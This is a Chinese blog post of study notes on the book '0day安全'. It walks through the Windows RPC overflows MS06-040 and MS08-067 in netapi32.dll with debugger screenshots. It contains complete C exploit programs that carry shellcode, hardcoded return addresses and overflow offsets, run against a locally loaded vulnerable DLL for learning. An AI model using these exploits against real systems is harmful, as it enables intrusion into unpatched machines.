​《0day安全》——RPC入侵:MS06-040及MS08-067

RPC是分布式计算中经常用到的技术

两台计算机的通讯分为两种:一种是数据交换,一种是进程间的通信。RPC属于后者

RPC其实是在你自己的程序中调用一个函数(可能需要很大的计算量),而这个函数在另外一个或多个远程机器上执行,执行完就回传到我们的机器上的程序进行后续操作

PRC的网络操作对程序员来说是透明的

看了看RPC编程

看到了两张图,挺好

blob.png

blob.png

MS06-040

由于win2000难以拉工具进去,我肯定不去做了,这里作者也挺好,给了新的方法,本地调试

就是加载有漏洞的dll,调用漏洞函数

poc代码:

#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
char path[0x320];
char can_path[0x440];
int maxbuf=0x440;
char prefix[0x100];
long pathtype=44;
//load vulnerability netapi32.dll which we got from a WIN2K sp4 host  
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path 
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
memset(path,0,sizeof(path));
memset(path,'a',sizeof(path)-2);
memset(prefix,0,sizeof(prefix));
memset(prefix,'b',sizeof(prefix)-2);
//__asm int 3
(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
FreeLibrary(LibHandle);
}

首先加载dll,获取那个漏洞函数的地址,传给函数指针,最后通过函数指针调用漏洞函数

将path和prefix设置成很长的a和b,两个\x00结尾的,这是因为NetpwPathCanonicalize按照Unicode来处理字符串

blob.png

运行poc

blob.png

,od附加,eip和esp都被覆盖成0x61了

blob.png

看看这个函数在哪

blob.png

blob.png

那我们去下断点

注意加载完dll才能到那个地址下断点哦,f9停在下面

blob.png

我们继续f8,在这个函数崩溃

blob.png重新载入,f7跟进,继续f8

首先算了一下prefix的长度,为0x7f,即127(127*2+1*2 = 0x100),两个字节当做

一个字符blob.png

将prefix复制到栈上

blob.png将prefix与"\"连接起来

blob.png

算一下path的长度,为0x18f=399

blob.png后面再连接上path

即prefix+'\'+path

blob.png

连接上了

blob.png

我们再看看ebp的地方

blob.png

由于ecx执行缓冲区开头,我们的shellcode就可以放在开头,返回地址覆盖成jmp ecx就行

用作者常用的插件找一下,作者用的就是下面的

blob.png

继续看看exp

blob.png

运行报错, 但能到达shellcode

blob.png

可能我的系统有点问题

换一台虚拟机就可以了

blob.png

确实,再换也可以

blob.png

ida看看

blob.png

漏洞函数

blob.png

Windows Xp环境下的MS06-040 exploit

我们实验的是xp sp0, 使用win2000的方法,溢出并没有发生

用ida看看

最终的长度(合并路径长度)要和0x207比较,大于则推出程序,而不是win2000时的0x411

blob.png

我们算了一下,应该是相对win2000是除以2了

blob.png

既然这里不能溢出,接下来看看上面一点的代码

blob.png

若prefix不为0,并指向空字符串,那么var_414就没初始化了

blob.png

接下来只要长度不超过0x207,就连接上未初始化的var_414

blob.png

作者说这是一个非常危险的操作,因为var414长度未知,可能超过0x414字节,在连接path就产生溢出了

var414在栈上,作者说内容随机,那么我们怎么控制var414的长度呢

是连续调用当前这个函数

但当前函数是NetpwPathCanonicalize的子函数,不能直接调用,(应该是因为我们现在还没完全获得控制权,只能在程序中写多次调用NetpwPathCanonicalize的代码)

那我们看看NetpwPathCanonicalize函数

首先edi是0,接下来都没更新edi的值

blob.png

继续

blob.png

作者说这样保证var414的栈空间不发生变化

我觉得的话是下面这个会破坏栈上的3个dword

blob.png

我们就用较小的maxbuf就可以让函数返回非0了

blob.png

看看poc

常量

#define PATH1_SIZE      (0xc2*2)
#define PATH2_SIZE      (0x150*2)
#define OUTBUF_SIZE     0x440
#define PREFIX_SIZE     0x410

blob.png

我们打开exe看看,确实溢出了,0x62应该是pathname2溢出的

blob.png

blob.png

我们下断点调试看看

一进来,414全是0blob.png

prefix指针不为空,跳转

blob.png

但这是空字符串,长度为0

blob.png

长度为0x1c,符合预期

blob.png

可以看到连接完就覆盖了var414了

blob.png再看看path中是否有'/',

blob.png

有就换成'\\'

blob.png

之后大于maxbuf(1),跳转,返回非0

blob.png

看看返回前,栈的状态

blob.png返回非0,直接退出了

blob.png

我们看到第二次连接的时候,返回地址被覆盖了

blob.png

其实这种也适用win2000,所以这种思路更通用,作者这里没写exploit,我尝试看看

我们看到ecx还是指向var414开始处

blob.png

那exploit的思路跟之前的是一样的

找一下jmp ecx

blob.png用0x71BBFCBE吧

我们改下代码

下面的其实一句就够了

blob.png

首先PATH2_SIZE

#define PATH2_SIZE      (0x150*2)

我们算算覆盖地址的位置(减去两个字节的00,还有通过上面知道多处的4个字节)

blob.png

那么我们的返回地址布置在 663 664 665 666位置处

调试发现位置多了一个

blob.png

应该是662 663 664 665 的位置

改完终于可以到达shellcode了

blob.pngko

blob.png

补上exp代码

#include <windows.h>
typedef  void (__stdcall * MYPROC)(LPTSTR);
#define PATH1_SIZE      (0xc2*2)
#define PATH2_SIZE      (0x150*2)
#define OUTBUF_SIZE     0x440
#define PREFIX_SIZE     0x410
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
char PathName1[PATH1_SIZE];
char PathName2[PATH2_SIZE];
char Outbuf[OUTBUF_SIZE];
int OutbufLen=OUTBUF_SIZE;
char Prefix1[PREFIX_SIZE];
char Prefix2[PREFIX_SIZE];
long PathType1=44;
long PathType2=44;
//load vulnerability netapi32.dll which we got from a WINXP sp0 host  
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[ ] = "./netapi32.dll"; // care for the path 
char VulFunc[ ] = "NetpwPathCanonicalize";
LibHandle = LoadLibrary(dll);
Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    // fill PathName
memset(PathName1,0,sizeof(PathName1));
memset(PathName1,'\x90',sizeof(PathName1)-2);
//在前面布置shellcode
memcpy(PathName1,shellcode,168);
memset(PathName2,0,sizeof(PathName2));
//memset(PathName2,0,sizeof(PathName2));
memset(PathName2,'\x90',sizeof(PathName2)-2);
PathName2[0x296]=0xBE;// address of CALL ECX
PathName2[0x297]=0xFC;
PathName2[0x298]=0xBB;
PathName2[0x299]=0x71;
    // set Prefix as a null string,来促发连接上var414
memset(Prefix1,0,sizeof(Prefix1));
memset(Prefix2,0,sizeof(Prefix2));
    // call NetpwPathCanonicalize several times to overflow
(Trigger)(PathName1,Outbuf,1        ,Prefix1,&PathType1,0);
(Trigger)(PathName2,Outbuf,OutbufLen,Prefix2,&PathType2,0);
FreeLibrary(LibHandle);
}

后面将的是更加通用的exp

他是将返回地址覆盖成0x2080A了,can_path也被覆盖成0x2080A

maxbuf的地址也随机化了,而且数值大,导致将连接后的字符串Buff_OF复制到can_path,即0x2080A处

键入我们shellcode放在开头,就复制到0x2080A,返回的时候就去0x2080A调用shellcode了

这确实有很强的平台兼容性,非常适合蠕虫,因为dll的版本有一点变化,那个地址就可能不一样了

blob.png

blob.png

MS08-067

在魔鬼训练营就听说臭名远扬的08-067了

又是一个RPC漏洞,蠕虫Conficker就是利用这个漏洞

竟然还是发生在那个子函数中,但是在不同的地方

我们也看到了针对ms06-040的防御

blob.png

在复制到目标输出参数之前,将'/'替换为'\\'

blob.png

继续,如果下面的函数返回0,才会调用后面的函数(看看汇编里面&&判断就知道了),从而触发溢出

blob.png

blob.png

漏洞就在sub_5FDDA26B

如果sub_5FDDA26B返回非0,就说明合并路径已符合要求

如果也不超过max_buf,就可以复制到can_path了

blob.png

作者写了代码进行经典目录移除的测试

结果如下

BEFORE: aaa\bbbb\..\cccc
AFTER : aaa\cccc
RETVAL: SUCCESS(0x0)
BEFORE: aaa\bbbb\..\..\cccc
AFTER :
RETVAL: FAIL(0x7B)
BEFORE: \aaa\bbbb\..\..\cccc
AFTER : \cccc
RETVAL: SUCCESS(0x0)
BEFORE: aaa\bbbb\.\cccc
AFTER : aaa\bbbb\cccc
RETVAL: SUCCESS(0x0)
BEFORE: aaa\bbbb\cccc\.
AFTER : aaa\bbbb\cccc
RETVAL: SUCCESS(0x0)
BEFORE: aaa\bbbb\.cccc
AFTER : aaa\bbbb\.cccc
RETVAL: SUCCESS(0x0)
BEFORE: aaa\bbbb\..cccc
AFTER : aaa\bbbb\..cccc
RETVAL: SUCCESS(0x0)
BEFORE: aaa\bbbb\\cccc
AFTER :
RETVAL: FAIL(0x7B)
BEFORE: \\..\aaa
AFTER : \\..\aaa
RETVAL: SUCCESS(0x0)
BEFORE: \\.\aaa
AFTER : \\.\aaa
RETVAL: SUCCESS(0x0)
BEFORE: \\\.\aaa
AFTER : \\\aaa
RETVAL: FAIL(0x7B)

我们看看这个函数里面

这里的p1跟作者的不一样

p1永远指向/或者\的下一个字符

而且p1的值复制给了v2

blob.png

那么p1copy-1就是指向\或者/了

blob.png

向前搜索,/

开始的时候没有做边界检测,而是在循环中(j!=a1),假如开始的时候就越界了,那就这检测就是费的了

blob.png

看看作者的程序

虽然返回成功,但仍存在经典目录

blob.png

确实如作者所说

blob.png

接下来

eax已经越界

blob.png而第一次进入循环后的判断已经少于12f66c了

blob.png

向前找到时已经很前了

blob.png

感觉ida的f5有点问题,那就看汇编

blob.png

之后跳到那里去,之后又往上跳

blob.png

之后就会再一次执行strcpy

blob.png还是复制到之前那个越界的地址

blob.png

如果设计得当,wcscpy的返回地址将会被覆盖

blob.png

尝试运行作者的exp,不行,原来作者使用了其他dll的jmp esp,在我的系统不是

blob.png

blob.png

在我的系统只是

blob.png

那就找这个吧

blob.png

blob.png

ko

blob.png

代码:

就修改了一句

#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR,  LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
// address of jmp esp
//#define JMP_ESP "\x5D\x38\x82\x7C\x00\x00"
#define JMP_ESP "\x0B\x10\xE0\x5F\x00\x00"
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
    WCHAR path[256];
    WCHAR can_path[256];
    DWORD type = 1000; 
    int retval;
    HMODULE handle = LoadLibrary(".\\netapi32.dll");
    MYPROC Trigger = NULL;
    if (NULL == handle)
    {
        wprintf(L"Fail to load library!\n");
        return -1;
    }
    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
        FreeLibrary(handle);
        wprintf(L"Fail to get api address!\n");
        return -1;
    }
    path[0] = 0;
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
    wcscat(path, JMP_ESP);
    wcscat(path, SHELL_CODE);
    can_path[0] = 0;
    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
    FreeLibrary(handle);
    return 0;
}

漏洞总结

\\aaa\\..\\..\\bbbbbbbbbbbbbbbb

比如这个字符串,第一次时..\\bbbbbbbbbbbbbbbb复制到\\a的第一个\的地址,

这时路径变成..\\bbbbbbbbbbbbbbbb

第二次想去掉..\的时候,他要向前找到\为止,找到再复制过去,那就可以复制到前面的区域去了

接下来作者就说了一下Conficker蠕虫

目前学术界研究蠕虫病毒,主要思路是从网络行为上提取特征进行预警和控制

再传播时会探测性发出大量的扫描数据包,在网络中以指数级别迅速增长,大量占用网络带宽

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注